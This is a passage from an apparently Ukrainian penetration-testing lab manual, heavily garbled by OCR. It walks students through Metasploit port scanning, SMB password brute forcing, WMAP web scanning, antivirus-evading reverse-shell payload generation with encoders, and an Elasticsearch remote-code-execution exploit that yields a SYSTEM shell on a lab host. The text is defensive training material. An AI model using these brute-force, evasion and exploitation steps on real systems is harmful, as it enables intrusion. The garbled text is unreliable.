JIOTIOMOT0F0 KOMaHH “show’ Ta oniiii “info” (Pucynok 10.5).
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keali(@ kali: ~

Actions Edit View Help

S¢ xiliary/scanner/portscan/tcp
auxiliary( ) > show info

Name: TCP Port

Module: auxilia

License: Metasploit Framework License (BSD)
Rank: Normal

Provi \
hdm <x@hdm.io>
kris katterjohn <katterjohnagmail.com>

Check supported:
0

Basic options:
Name Current Setting Reguired Description

CONCURRENCY @ yes The number of concurrent ports to check per host
DELAY g yes The delay between connections, per thread, in milliseco
nds
JITTER g yes The delay jitter factor (maximum value by which to +/-
A conds.
yes

yes

THREADS yes The number of concu t threa (max one per host)
TIMEOUT 1000 yes The socket connect timeout in milliseconds

Description:
Enumerate open TCP services by performing a full TCP connect on each
port. This does not need administrative privileges on the source
machine, which may be useful if pivoting.

View the full module info with the inf command .

auxiliary(

Pucynox 10.5 — Ilepernsa neranbHoi iHpopmartii mpo Moayib (Show info)

[Ticns mepernsay iHGoOpMallii Mpo MOAYJIh HEOOXIMHO MOro HajamTyBaTd. Y
6011 AeTanbHOT 1HGOpMaIlli BXKe TTOKa3aH1 OMIIii Ta iX MOTOYH1 3HaueHHs. [[1s1 BUBOY
1H(popMaIii JuIIe Tpo Onuli TOTOYHOTO MOJYJISI BUKOPUCTOBYETHCS KOMaHAa “show”
3 ommi€eo “options”. Jljs BCTaHOBIEGHHS TI€BHOTO 3HAYEHHS IapameTpa
BUKOPUCTOBYEThCSI KOMaHAa “‘set”. JlJi1 BCTAHOBJIEHHA 3HAYEHHS TJ100aJIbHOL
3MiHHOT — “setg” (Pucynok 10.6).

< kali@kali: ~
File Actions Edit View Help

msf6 auxiliary( ) > set rhosts 172.28.128.3, 172.28.128.5
rhosts = 172.28.128.3, 172.28.128.5
msf6 auxiliary( ) > |

Pucynok 10.6 — BcraHoBIIeHHs 3HaU€HHS TapameTpa
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Jlis 3amycky poOOTH MOTOYHOTO MOAYJS HEOOX1THO BHUKOPHUCTATH KOMaHIY

(13 29

“exploit” abo run’. Pesynbrar poboTtu MOIYJIs
“auxiliary/scanner/portscan/tcp’ 300paxkeHo Ha Pucynky 10.7.

kali@kali: ~

Actions Edit View Help

auxiliary(

OPEN
- TCP OPEN
- TCP OPEN
» — TCP OPEN
1 - TCP OPEN

- TCP OPEN

- TCP OPEN

- TCP OPEN

- TCP OPEN

o R e e

.u-l. P

!

:21 - TCP OPEN

(5
(56

80 - TCP OPEN
i OPEN
TCP OPEN
TCP OPEN
TCP OPEN
TCP OPEN
TCP OPEN
TCP OPEN
TCP OPEN
TCP OPEN
TCP OPEN
TCP OPEN

el e e el e S e S S S S S

Pucynoxk 10.7 — PesynsTaT po6oTu ckanepa auxiliary/scanner/portscan/tcp

3aBaaHHA:

— BUKOHATHU CKaHyBaHHS OAHIET 3 a00 000X BIPTyaJbHUX MAIIWH, 10 OYyIu
3aBaHTaxeH1 y jabopatopiit po6oTi Ne 8;

— BHMKOHATH CKaHYBaHHS 32 JONOMOTO0 “db nmap’’;

— BUKOHATH CKaHyBaHHS HE MEHII HIJK TPhOMa JI0AATKOBUMHU MOIYJISIMU;

— BimoOpaswu 3micT b/l, BUKOpUCTOBYIOUHM KOMaHAM Ha KIITAIT “hosts® Ta
“services”;

— Yy 3BIT J0JaTH pe3yjbTaTH CKaHYBaHHS MOJYJIB Ta “db nmap”’, HagaTH
KOPOTKY XapaKTEPUCTUKY pe3yJIbTaTiB pOOOTH BUKOPUCTAHUX MOJIYIIB.
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JlabopaTtopHna po6ora Ne 11
Tema: ITomyk BpaznmuBocTel 3a monomororw Metasploit

Merta: HaBuuTHCS BUKOHYBaTH TIOLIYK BpA3JIMBOCTENM, BUKOPUCTOBYIOUH
3acobu Metasploit ¢ppeitMBoOpKy

Teopernuni Bitomocri

301p iHpopMarlii Ta i aHasi3 MPO LUIb € HAWOIBII BYKIIMBOIO 33/1a4€I0 1] Yac
MPOBEJCHHS TECTyBaHb Ha MPOHUKHEHHS, ToMy Metasploit Mae IMPOKI MOKIMBOCTI
14 ii 300py Ta 30epiranHs, 1o Aa€ 3MOTy OUThII €PEeKTUBHO ii aHATI3yBaTH.

Opniero 3 TexHik 300py iHPopmariii € “Login attempt” — cipoba Bxoay. Bona
Ja€ 3MOTy MEpPEKOHATHUCs, 110 CEPBICH, sIKI JOCTYMHI 330BHI, HE BUKOPUCTOBYIOTb
MapoJiiB Ta JIOTIHIB 3a 3aMOBYYBaHHSIM, a00 3aHaATo mpocTi. Ll TexHika JOCUTH
IIyMHa, TEHEpPYye€ 3alliCh Yy JIOTU 1 MOKE BUKIMKATH CIPAIIOBaHHS CHUCTEMU
BU3HadYeHHs BToprHeHb (IDS), ane BoHa x 103BoJsie 30epertu 0araTo yacy, 1 sIKIIO
B1JIOMO, 1110 MEHEKMEHT 1HIIMIeHTIB Ib B opranizariii He HaimaropKeHo K ¢l (To0To
JOCUTBH TpyO1 A1l MOKYTh 3aJTUIIUTUCH HEMOMIYEHUMH ) — 1i MOYKJIMBO 3aCTOCOBYBATH.

Benuky KUJIbKICTh MOJYIIB, SIKI JO3BOJISIIOTH peali3yBaTH II0 TEXHIKY, MOXKHA
3HAWTH 3a KIro4oBHM ciioBoM “login” y po3mimi “auxiliary/scanner”. Po3ristHemo
npukiaag pobotu Takoro wmoayina it SMB. lleil Momaynb 3HaXOOUThCS Y
“auxiliary/scanner/smb/smb_login”.  Bimpmricte  ommid  I[bOTO  MOAYJS  BXKE
HaJAIITOBAHO, ajie JesKl 3 oniii € cneundiuanmu, Hanpukiag — “PASS FILE”. L4
OMIIisl 103BOJIsIE 0OpaTu (haili-CIOBHUK 3 MAPOJISIMHU, sIKI OYTyTh BUKOPUCTAHI Mij 4yac
copobu Bxoxy, Ha kwmrant bruteforce. Tyt ke BapToO BIAMITUTH 1 OIMIIO
“BRUTFORCE_SPEED”, mo mae 3Mory HajamTyBaTH IIBUIKICTH nepedopy. [licms
TOTO, SIK MOJIyJIb OyJI0 00paHo (3a TO0MOMOTr0 KOMaHAM “use’) Ta 3KOH(DIrypOBaHoO,
HOro MOXJIMBO BHUKOpUCTOBYBaTH. Ilpukiian poboTM Moayns 300pakeHO Ha
Pucynky 11.1.
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kali@kali: ~
Actions Edit View Help

msf6 > use auxiliary/scanner/smb/smb_login
6 auxiliary( ) > set rhost 172.28.128.3
rhost = 172.28.128.3
msf6 auxiliary( ) > set user_file /usr/share/wordlists/metasploit/unix_users.txt
user_file = /usr/share/wordlists/metasploit/unix_users.txt
msf6 auxiliary( ) > set pass_file /usr/share/wordlists/metasploit/unix_passwords.txt
pass_file = /usr/share/wordlists/metasploit/unix_passwords.txt
msf6 auxiliary( ) > run

.28.128.3: 28.128.3:445 - Starting SMB login bruteforce
[+] .28.128.3: 2.28.128.3:445 Success: '.\:admin' Guest
[+] .28.128.3: .28.128.3:445 Success: '.\4Dgifts:admin’
[+] : 28.128.3:445 - Success: '.\abrt:admin'
[+] .28. .3 28.128.3:445 Success: '.\adm:admin'’
[+] .28. 3 .28.128.3:445 Success: '.\admin:admin'
[+] < .28.128.3:445 Success: '.\administrator:admin'
[+] 28.128.3:445 - Success: '.\anon:admin'
[+] 2.28.128.3:445 Success: '.\_apt:admin’
[+] .28.128.3:445 Success: '.\arpwatch:admin'’
[+] 28.128.3:445 Success: '.\auditor:admin'’
[+] 28.128.3:445 Success: '.\avahi:admin'’
[+] .28.128.3:445 - Success: '.\avahi-autoipd:admin'’
[+] .28.128.3:445 Success: '.\backup:admin'’
[+] 28.128.3: Success: '.\bbs:admin'
[+] 2.28.128.3: Success: '.\beef-xss:admin'

WWwwwwwwww

Pucynox 11.21 — Ipuxnan poboTu Moy, o peaiizye TexHiky "Login attempt"

[Ile oaHi€r0 3 NOMMPEHUX KPUTUUHHUX BPA3JIUBOCTEN € IOTaHO KOH(ITYpOBaHUN
cepBic VNC. Cepen nonatkoBux 3aco0iB Metasploit € crierianizoBaHi CKaHepU Jis
BOTO CEpBICY. 3HAWTH IX MOXHAa 3a KIIOYOBHM CIIOBOM ‘‘scanner/vnc”. 3a
3aMOBUYBaHHsSM ix JBa. OIMH 3 HHUX [I03BOJISIE peali3yBaTH CKaHyBaHHS Ha
MO>KJIUBICTh MIAKIOYEHHS 0 CEPBEPIB, IO MIATPUMYIOTH METOJ aBTEHTHU(IKaLii
“none”. Moaynbs Mae BCbOr0 TPH OINLIi: agpeca L, HOPT Ta KUIbKICTh MOTOKIB, SIKI
OynyTh HamaraTucs aBTeHTU(IKyBaTHCs Ha cepBepl. [lpuknag poOotu Momyns
300paxkeno Ha Pucynky 11.2.

-] kali@kali: ~
File Actions Edit View

msfé auxiliary(

er security types supported: VNC
.1@ 5] o} complete)
iliary module execution completed
uxiliary( ) > |1

Pucynok 11.22 — I[Tpuknaa podotu moayns 3 cepBicom VNC

Oxpim Bchoro, Metasploit 103BoJisie BUKOHATH TOIIYK BPa3JIMBOCTEH y BeO-
nonatkax. J{Jist iboro BUKOPUCTOBYETHCS ckaHep/Kpoysep mig Ha3Boto “WMAP”, itoro
MOXJIMBO 3HAWTH, BUKOPHUCTABIIM B SKOCTI KJIIFOYOBOTO CJIOBa HOro Has3By. Bapto
3ayBaKUTH, 10 1€ HE €JAUHUN CKaHep/KpoyJep i BeO-A0JaTKiB y CKIafdl
(bpeiMBOPKY.

[Tnaria “wmap” 3aBaHTaxyeTbcst OE3MOCEPEIHbO KOMAaHI0K “load” (“load
wmap’’), MMCJISI 4Or0 3 HUM MOXKJIMBO TPAIIOBATH.
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Jlisa modatky, HEOOXiTHO CTBOPHUTH 3alUC MPO HOBHM CaWT 3a JOMOMOTOIO
KOMaHIW ‘“‘wmap sites” 3 KiIoueM “‘-a” (mpukmaa: “wmap sites -a
http://somesite.com”). Ilicig yoro, BKkazaTH LI AJIs KPOyJiepa BUKOPUCTOBYIOUU
KOMaHJly ‘“‘wmap targets” 3 KiIoueM “-t” (mpukiaa: “wmap targets -t
http://example.com/login”). JlomaTkoBe BU3HAYCHHS ITiJIeH (CTOPIHOK calTy/BeO-
J0JIaTKy) Ja€ MOXJIUBICTh 3MEHIIUTH YaC CKaHYBAHHS 1 3HM)KYE KUIBKICTh 3alUTIB Yy
CTOpPOHY CepBepa, 1110 Y CBOIO YEPTy 3HMKYE IIAHC OYyTHU BUSIBICHUM.

[TepernsuyTu, ski moptu 3aiHaTi HTTP-cepBicamu, MoxHa 3a JOMOMOTOIO

KOMaHIH “services” (Pucynok 11.3).

name state info

L open ProFTPD 1.3.5
ssh open OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 Ubuntu Linux; protoc

http open f httpd 2.4.7
netbios-ssn open Samba smbd 4.3.11-Ubuntu workgroup: WORKGROUP

ipp open cupPs 1.7

PPP closed

mysql open MySQL unauthori

http open Jetty 8.1.7

intermapper <closed

ftp open

ssh open

http open 7.
ssL/http open rac Glassfish Application Serv
http open Sun GlassFish Open Source Edition
http open Apache httpd

Pucynok 11.3 — BuBeneHHs BiJICKaHOBaHUX CEPBICIB 3a JOMOMOT0I0 KOMaHI!
“services”

OxkpiM 1BOro, IUIAriH JO3BOJISIE BU3HAYUTH SIKI caM€ MOAYJl OyIayTh
BUKOPHUCTaHI BITHOCHO LI1JI1. Y BIMKHYTI MOJTyJII MOKJIMBO MEPETISIHYTH 3a JOTIOMOTO1O
KOMaH/IM “wmap run -t”, I€TajJbHIIIE MPO TE€, SIK KEPyBaTH MOJIYJIIMU, HAITUCAHO Y
“wmap run -h”, a JJId 3alyCKy CKaHyBaHHS HEOOXIIHO BHUKOPHUCTATH KOMaHIY
“wmap_run” 3 kioueM “-e”. [lpukiag podoTtu miariny 300paxeno Ha Pucynok 11.4.
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http://somesite.com/

Using code '4@4' as not found for files with extension

Using code "404' as not found for files with extension

Using code "404' as not found for files with extension

Using code "404' as not found for files with extension

Using code "404' as not found for files with extension

Using code "404' as not found for files with extension

Using code "404' as not found for files with extension

Using code "404' as not found for files with extension

Using code "404' as not found for files with extension

Using code "404' as not found for files with extension

Found http://172.28.128.3:80@/chat 301

Found http://f172.28.128.3:80/phpmyadmin 381

Found http://172.28.128.3:80/uploads 381

Using code "404' as not found for files with extension

Found http://172.28.128.3:80/chat 301

Found http://f172.28.128.3:80/phpmyadmin 381

Found http://172.28.128.3:80/uploads 381

Module auxiliary/scanner/http/http_put

Path: /

172.28.128.3: File doesn't seem to exist. The upload probably failed
Module auxiliary/scanner/http/ms@9_82@8_webdav_unicode_bypass
Path: /

172.28.128.3:80 Folder does not reguire authentication. [485]
Module auxiliary/scanner/http/prev_dir_same_name_file

Path: /

Blank or default PATH set.

Module auxiliary/scanner/http/replace_ext

Module auxiliary/scanner/http/soap_xml

Path: /

Starting scan with @ms delay between requests

Server 172.28.128.3:80 returned HTTP 484 for /. Use a different one.
Module auxiliary/scanner/http/trace_axd

Path: /

Module auxiliary/scanner/http/verb_auth_bypass

=[ Unigue Query testing ]=

Module auxiliary/admin/vmware/vcenter_forge_saml_token
Module auxiliary/scanner/http/blind_sql_guery

Module auxiliary/scanner/http/error_sql_injection
Module auxiliary/scanner/http/http_traversal

Module auxiliary/scanner/http/rails_mass_assignment
Module exploit/multi/http/lcms_php_exec

=[ Query testing ]=

=[ General testing ]=

o O IO O I I O I IS O I IS 8 I I8 00 0 I 8 IO 0 I8 6 I 9 I I8 0 I I8 6 0 I8 60 8 I 18 I 6T I I8 T I8 O I 8 I I O B
Launch completed in 806.2758409976959 seconds.
O O I IO O I IO O I I8 O I IS 8 I I8 00 0 I 8 S I8 0 I8 6 I8 9 I I8 0 I I8 6 0 I8 6 8 I 6 I 0T I I T I I8 O I 8 I I I

Pucynox 11.4 — [Ipuknan po6otu wmap




[Ticnst ckaHyBaHHSI MOYJIMBO 3pYYHO HEPETVIIHYTH BCl 3HaWEH]1 BPa3IuBOCTI
y BUTJIAII Ta0OauI 1 6e3 3aiiBoi iHdopmallii 3a TONOMOT0I0 KOMaHIH “wmap vulns” 3
KioueM “-1” (Pucynok 11.5).

o kali@kali: ~
File Actions Edit View Help

msfe > 1

host_header_injection HTTP Host Header Injection Detectiom

found allowing listing of its contents.

): directory /cgi-bin/

): directory /chat/

): directory /icons/

): directory /phpmyadmin/

): directory /uploads/

): file /uploads

): file /

/phpmyadmin

ory /aspnet_client/

e /index.html

Pucynok 11.5 — Cucok 3HaiiiIeHuX Bpa3aIuBOCTEH

Bapro 3ayBakuTH, 110 HAJI3BHYAIHO BEJIMKAa KUIBKICTh BpAa3JIMBOCTEU Y
PI3HOMaHITHHX cepBicax Bxke OyJiM 3Hai/IeHi, 1 BUIIPaBJICHH] y HACTYNHUX Bepcisx. Lle
MPUBOIUTH J0 TOTO, IO BPA3JIMBI BEpCii 3a3BHUail 3aTUIIAIOTHCS Bpa3uBUMH. Uepes
[Ie HallyacTime TOIIyK Bpas3IWBOCTEH 3a jgoromororo Metasploit BUKOHYEThCS HE
O6araTonpoUIbHUMU CKaHEpaMy, a BPYYHY, ILIYKAIOYM EKCIUIONTH MAJii MEeBHHUX
CepBiciB, KOHKpETHHUX Bepcii, Bepciit OC Torio.

Hampukian, Mu MOXeMO TIEpPETIITHYTH CEPBICH, 3alyIlIeH] Ha X0CTax, o0paTu
OyIb-SIKHi1 3 HUX, IT[0 Ma€ BU3HAYEHY BEPCItO, 1 MOYATH MOIIYK eKCTUIONTIB JJIS JAHOTO
cepicy (Pucynok 11.6). Takuit migxig MOKHa BUKOPHUCTOBYBATH 1 JJIsi 3aIUCIB Y
tabmuri db_vulns.
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tcp http Apache httpd
tcp
tcp
tcp elasticsearch
tcp mSTpC
tcp msrpc
49158 tcp )i rmi
49159 tcp tcpwrapped

O e e e e
el v iy vl vl

El
Lr
mal
e

6 » search elasticsearch 1.1.1

1ing Modules

Name iscle Rank Check Description

i/elasticsearch/script_mvel_rce 20 o t Yes ElasticSearch Dynamic Script A

Interact with a module by name or index. For example info

msfé > info @

Name : ' C ami va Execution
Module: Lti asti Sscript_ ce

Pucynok 11.6 — [Tomryk eKCIUIONTIB 3a JOMTOMOTOI0 Ha3BU CEpBICYy Ta Bepcil

3aBaaHHA:

— BUKOHATHU CKaHyBaHHs Tuiy “‘Login attempt” BiTHOCHO TPHOX PI13HUX CEPBICIB
Ha OJIHIM 3 IBOX PaHIIlIe 3aBAaHTAKEHUX BIPTyaIbHUX MAIIIWH;

— BHKOHATH ckaHyBaHHS cepBicy VNC;

— BUKOHATH CKaHyBaHHS BeO-J0JaTKy, IO PO3TOPHYTO Ha BIPTYyalbHIN
MaiuHi — ckanyBaHHs 1iarinom WMAP nocuth arpecMBHE 1 MOXKE 3aIlIKOIUTH
JoJaTKaM, sIKI CKaHyIOThCS (TOPT BeO-J0JaTKa MOXHA 3HAWTH 3a HA3BOIO cepe
CEpBICIB);

— J0JaTH Yy 3BIT pe3yJIbTaTH CKaHyBaHb Ta IXHIii ONuc/aHais3;

— HABECTH 1O TPH BPA3JIUBOCTI JJI KOXKHOI BIPTyaJIbHOI MAIIMHH, JJIS SKHX
1CHy€ €KCIUIOWT; 3a3HAYUTH 3ar0JI0OBOK MOAYJIs (Ha3Ba, MOJYJIb. .. JaTy MyOsiKarii).
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JlabopaTtopna po6ora Ne 12
Tema: Exkonepu

Mera: HapuuTucs BHKOPHUCTOBYBATH €HKOJEpHU JUIsI OOXOAY 3axXHUCTy
AHTUBIPYCHUX MIPOrpam

Teopernuni Bitomocri

[letimoam — TepMiH, IO BHKOPUCTOBYEThCS y Metasploit. Ilim meinoamom
PO3yMIETHCSI IPOTPAMHHI KOJ, IO Oy/1e BUKOHAHO O€3MOCepeHhO Ha CTOPOHI ITii.
Tomy BaxknuBo, moO 1ell kox He OylIo TMOMIYEHO aHTUBIPYCHUM MPOrpaMHUM
3a0€3MECUCHHSIM.

Cnouatky o6epimo meinoasn. Hexait 1ie Oyae neimoan s miaKII0OUeHHS X0CTa
710 TeCTyBaJIbHUKA Ta HAJaHHS OKPEMOT0 KOMAaH/IHOTO PsijiKa Ha OrepaIiiHii cucteMi
Windows. Jlyist i1boro MokHa BUKOHATH Tolyk y Metasploit 3a 7ormoMororw KkoMaHau
“search type:payload windows x64 reverse tcp shell” abo oapa3y oOpartu
MOZYJIb “‘eXec”’ KOMaHJI0I0 “use payload/windows/x64/shell reverse tcp .

Januit neinoan notpedye BctaHoBiIeHHs mapamerpa “LHOST” — nana 3minHa

Ma€e MICTUTH ajpecy, A0 SKOi Mae MiAKIouMTHCSA. BcraHoBuMoO ii 3HaYeHHS SK
“127.0.0.1” (Pucynok 12.1).

kali@kali: ~
Actions Edit View Help

> use payloads/windows/x64/shell_reverse_tcp
payload( ) > show options

Module options (payload/windows/x64/shell_reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 444 yes The listen port

View the full module info with the inf or info -d command.

msf6 payload( ) > set lhost 127.0.0.1
lhost = 127.0.0.1
msf6 payload( ) > |

Pucynok 12.1 — HanamryBanHsa MOayJIs EHI0aIy

Bci omnepartii 3 renepyBaHHS MEiI0ay BUKOHYIOTHCS KOMaHJIOIO “generate’ 3
BUKOPHUCTAHHSIM HEOOXI1THUX OIIIIA Ta MparopIiB.

IcHy10Th 1Ba OCHOBHMX HAIPSIMKHU MTPUXOBYBAHHSI NIEUI0aAy BiJl aHTUBIPYCHUX
nporpam. Ilepmuii mondrae y 3amiHi OailTIB BUKOHYBAHOTro (ailimy: s LbOTrO
KOMaHAy “generate” HEOOXIHO BUKOHATH 3 omiier “-b”. Ilpuxnagu 1iei ommii
HaBeleHO Ha Pucynkax 2 ta 3. Jlng mOJanblioro TECTyBaHHS AaHTHBIPYCHUMH
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nporpaMaMu HaM MOTPIOHO 3TeHePyBATH 3 X MeNn0aaiB okpemi daitnu. g uboro
MOYKHa JTOAATH HACTYIIHI OIIIi: “-f <dopmar> -o <uazssa dammy> . JlJIs TeHeparlii
neinoamiB icHye okpema yTwiitd msfvenom: gyHKIis generate € iHTEpdEHcOM 10
11€] YTHIITH.

msfé payload( )} = generate
windows/ / _reverse_tcp - 468 bytes

https:/ asploit.com/

VERBOSE=false, LHOST=127.0.8.1, LPORT=4444,

uf

"
#
#
#
b

Co oo
J M OEF LA S

3 =N l'[; u
= @ D

L = o
Lh=

2]

m

5 —h
O —h O —h D D

= nm
RS

.-I'-:'
o

msro pay
Writing 7168 bytes to plain.exe ...
msf6é payload(

Pucynox 12.2 — I'enepairist neinoany 6e3 3MiH
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) > generate

/tes

+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+

\b& -f exe -0 one_substitution.exe

Pucynok 12.3 — I'enepartist meiaoaay 3 BAKOPUCTAHHSIM OMIIiT “-b”
Ta 3aMiHi OalTy “8b”

3BepHITH yBary Ha pi3HHUIIIO po3MipiB ¢aiiny 460 Gaiitu B opuriHaii ta 510
MICJIsI BAKOPUCTaHHs ortii “~-b”. Ile € HacaiakoM Toro, 1o 0alT 8b 0yJio 3aMiHEHO Ha
1HIII1, € TAKUM YMHOM, 11100 BUKOHYBaHUH (ailsl 3aumiaBcs npane3gaTHUM.

[HIIMM HampsSMKOM NPUXOBYBaHHsS MeEisoany BiJl aHTHBIPYCHHX Hporpam €
BUKOPHCTAaHHS €HKOIEPIB (32 3aMOBUYBAHHSM JIs TIATGOPMU X86 BUKOPUCTOBYETHCS
shikata_ga nai). Xou 3apa3 Haiikpamuii eHKoAep [JIsi KOHKPETHOI rmiaTdopmu
BUKOPHCTOBYETHCS aBTOMAaTUYHO 1] YaC BUKOHAHHS MiICTAHOBKHU — LIEW HAIPsIM Ja€e
HaM MO>KJIMBICTh CAMUM OOHMpaTH Ta KOMOIHYBaTH eHKoJepu. [lepernsnyTi nocTymHi
€HKOJICpM MOXHA BHMKOHABIIM IMOMIYK 33 KIKYOBUM CJIOBOM “encoder”. Jlns
BUKOPUCTAHHS €HKOJIEPY HEOOXITHO BKa3aTH WOro nuiix micis “-e” (Pucynok 12.4).
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msf6 payl ( } > generate
windows/x64/shell_reverse_tcp - 487 bytes

s
u

s

#

s

#
#

s
bu

.F

payla;di

Pucynox 12.4 — BukopuctanHs €HKOAEpY ISl TeHepallii meinoany

Hapa3i ocHOBHOIO METOI0 BUKOPUCTaHHSI €HKOJIEPIB € MOKPAIICHHS CyMICHOCTI
neisioaza 3 MeBHOI apXiTEKTYporo mpoiiecopa (x64, x86, arm...). Panime enkoaepu
aKTHBHO 3aCTOCOBYBAJIUCS I 00XOAYy aHTHBIPYCHHUX MPOTPaM, OJHAK 3 PO3BUTKOM
TEXHOJIOT1i, BIIPOBAPKEHHSIM MAIlIMHHOTO HaBYaHHSI Ta 1HIIUX T1IX0/1B JI0 aHAITI3Y 11e
ctae aenani MeHm epextuBHuM. 1100 y 1boMy nepekoHaTuCs, MEPEBIPUMO OJHH 3
neisIoaiB 3a 101oMororo onnaiH-cepicy VirusTotal. Bin mae mtarin aiist Metasploit,
onHak mnotpedye API-kmoua, 18 OTpUMaHHA KOTpPOro TMOTpiOHA peecTparis.
[Mepetitrosim 3a agpecoro Virustotal.com, o6upaemo ¢haiin Ta mOYNHAEMO CKaHYBaHHS.
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Lleti cepric mepeBipsie (Haii 3a JOMOMOTO0I0 69 HANBITOMIIIINX AHTUBIPYCHUX PIIICHB 1
HAJIa€ OI[IHKY B 3aJICKHOCTI BiJ KUIBKOCTI cripamtoBanb (Pucynok 12.5).

> ] VIRUSTOTAL Q 888

SUMMARY DETECTION DETAILS BEHAVIOR D COMN

Join the VT Community and enjoy additional community insights and

crowdsourced detections.

48 security vendors and no sandboxes flagged
this file as malicious

48

7

Community Score vV

f63046faebc34e7409211d3a197f869939a1337a30b0ff585a16beSde34752¢cc

shikta_ga_nai_substitution.exe

Pucynok 12.5 — IlepeBipka neiinoana 3a nonomoroto VirusTotal

MoxHa mo0aunTH, M0 TaKUil Meioan oJpasy MO3HAYAETHCS K IIKIIJIUBUM,
HaBITh SAKIIO MPOIMYCTUTU HOTO Kpi3b meBHe KoayBaHHS 10 pasziB. OgHak eHKoJepu
J10C1 BAKOPUCTOBYIOTh JIJISl ITLOTO, TUTHKU B KOMOIHAITIT 3 THITMMH TEXHIKaAMHU.

3aBaaHHA:
— BUKOHATH TEHEpaIlll0 TeHI0any 3 BUKOPUCTAHHSM HE MEHII HIX TPhOX

€HKO/JICPIB;
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— BUKOHATH T'€HEpAIil0 HE MEHII HXK TPbOX MeisI0a1iB 3 BUKOPUCTAHHSM JIUIIIE
MAMIHHA OaHTIB;

— BHUKOHATH MEPEBIPKY aHTUBIpYCHUMU Tiporpamamiu (VirusTotal);

— y 3BIT 70AaTH 1HGOPMAIIiIO PO BUKOPUCTAHI €HKOACPH 3 OOTPYHTYBAHHSAM iX
BUOODY;

— JIOAATH 10 3BITy MOPIBHSUIBHY XapaKTEPUCTHKY 3TCHEPOBAHMX MEHIOAIIB,
CHKOJIepiB, IO BHKOPUCTOBYBAIHMCH JUIA I1XHBOI TEHepalii Ta pe3yiabTaTaMu
CKaHyBaHHS aHTHUBIPyCaMH;

— HaBeCTH TpU cmocobu o0xoay anTuBipycHoro II3 3 BHKOpUCTaHHSIM
EHKOJIEPIB.
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JlabopaTtopna po6ora Ne 13

Tema: Excrutyarariisi Bpa3iIuBoCTei

Merta: HaBuuTucs excrulyaTyBaTy Bpas3JIMBOCTI 3a JonoMororo Metasploit.
TeopernuHni BizomocTi

Po3ninstorh ABa BUAM MOKIMBHUX EKCIUTyaTallid BpasiauBocTei. [lepmma — e
BiJlZlaJieHa KCIUTyaTallisl, BOHA A€ 3MOTY 3a/IisITH €KCIUIOUT B1IJAJIEHO, 10 T03BOJISE
YHUKHYTH HEOOX1THOCTI 3aITyCKy OyAb-IKUX MPOTpaMHHUX 3aC001B HA CTOPOHI KJTI€HTA.
Jlpyra — 11e eKcrutyartailisi Ha CTOpOHI KJIII€HTa, Y IbOMY BUIAJKy Ha CTOPOHI KJII€EHTa
3aIyCKA€eThCSl BUKOHYBaHUM (paiil a00 CKPUIT, SIKMA BUKOHYE IMIJIKIIOYEHHS 0
CUCTEMHU TecTepa. | B mepuioMy, 1 B Ipyromy BUIAJKy Ha CTOPOHI TeCTepa MOBUHEH
MIpaIfloBaTH XEHUIEp, SIKUii Oy1e OUiKyBaTH 3’ €THAHHS.

VY Bumagky 3 BIJJAJICHUM EKCIUTyaTyBaHHSIM Bpa3JMBOCTI XEHJiep Oyne
YBIMKHEHO aBTOMATH4YHO, Y pa3i 3 JIOKAJbHOIO EKCILTyaTalli€lo (Ha CTOPOHI KJI€HTA,
client-side attacks) ioro Tpe6a BMUKAaTH OKPEMO.

BizbMeMo, HaNIPUKIIA, paHilie 3HaieHuit ekcrutonT uis Elasticsearch. B omuci
710 HBOTO 3a3HaueHo, 110 MoayJb ekciuryaTye RCE (remote code execution), TOOTO BiH
€ BIIJAJICHUM. 3a JOIIOMOI'0I0 KOMaHIU “show options’ AI3HAEMOCS, SIK1 3HAUYCHHS
noTpiOHO BcTaHOBUTH: Yy Hamomy Bunaaky e RHOSTS, RPORT, LHOST ta LPORT.
[H111 060B’A13K0BA 3MiIHHI BCTAHOBJIEH1 32 3aMOBYYBaHHAM. B sxocti 3Hauenb RHOSTS
ta RPORT BCTaHOBIIOEMO 3HAYEHHS, SKI MOXHA MEPETJISHYTH 3a JOIMOMOTOIO
KOMaHIH “services” (Pucynok 13.1).

open
open
open Elastic elasticsearch 1.1.1
msrpc open Microsoft Windows RPC
msrpc open Microsoft Windows RPC
java-rmi open Java RMI

fd.2a.128. tcpwrapped apen

msfé exploit(
rhost

msf6

rport

msf6 ex

Pucynok 13.1 — BcranoBiieHHs mapamMeTpiB BiIIAJICHOTO XOCTa

Hactymaum kpokom Hamamryemo mneinoan. s mporo Tpeba mimiOpatu
CYMICHUU NMENUJI0a]: MEPETITHYTH iXHii CIMCOK MO>KHA 3a JIOOMOT'0OF0 KOMaH[IU “show
payloads”. B 3minny “payload” 3amumemo “java/shell _reverse tcp”. ¥V 3minny
LHOST BBenemo [P-aapecy 31 criibHOT Mepexi (He 000B’SI3KOBO, ajie JJisT HA0YHOCTI)
(Pucynoxk 13.2).
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i kali@kali: ~
File Actions Edit View

msf6 exploit(

Compatible Pay

Name Disclosure Date ank Check Description

No 1
No G Bind TC

normal No
/ssh/inte normal No
jsp_shell_bind_tcp normal No ava JSP Command Shell, Bind T
CP Inline

jsp_shell_reverse normal No ava JSP Command Shell, R
normal No ava Meterpreter ava Bind TC
normal No
normal No
normal No ava Meterpreter,
normal No Command Shell, Java Bind TCP 5
normal No Command Shell, Java R
normal No Command Shell, R se TC
normal No Architecture-Independent Meter

ltiple Architectures)

rse_https normal No Architecture-Independent Meter
r (Multiple Architectures)

LPORT
msf6 exploit(

Pucynok 13.2 — O6panHs Ta HajamTyBaHHS Meioana
[Ticnst HanamITyBaHHS 3aJIMILIAETHCA BBECTH KOMaHAYy “‘exploit” 1 3a mMiBXBUIMHU

HAM CTa€ JOCTYmHUH KoMmaHmHuii psgok  (“shell”) arakoBaHoi cucTemwu
(Pucynoxk 13.3).

117



kali@kali; ~

File Actions Edit View Help

) > exploit

L128.6:4444

Shell Banner:
Microsoft Windows [Vers

whoami

nt authority\systes

C:\Program Files\elasticsearch-1.1.1>}

Pucynok 13.3 — 3amyck BialieHOTr0 eKCIUIONTa Ta OTPUMAaHHS eIy (KOMaHIHOTO
psaka)

B nanomy mpukiaai Mu BxKe OTpUMaIM CHCTEMHI MpaBa (HAWBUIIIN PIBEHbD),
TOOTO OTpUMAaM MOBHUN KOHTPOJb Haj cuctemoro. 1106 He mepepuBaTu cecito Ta
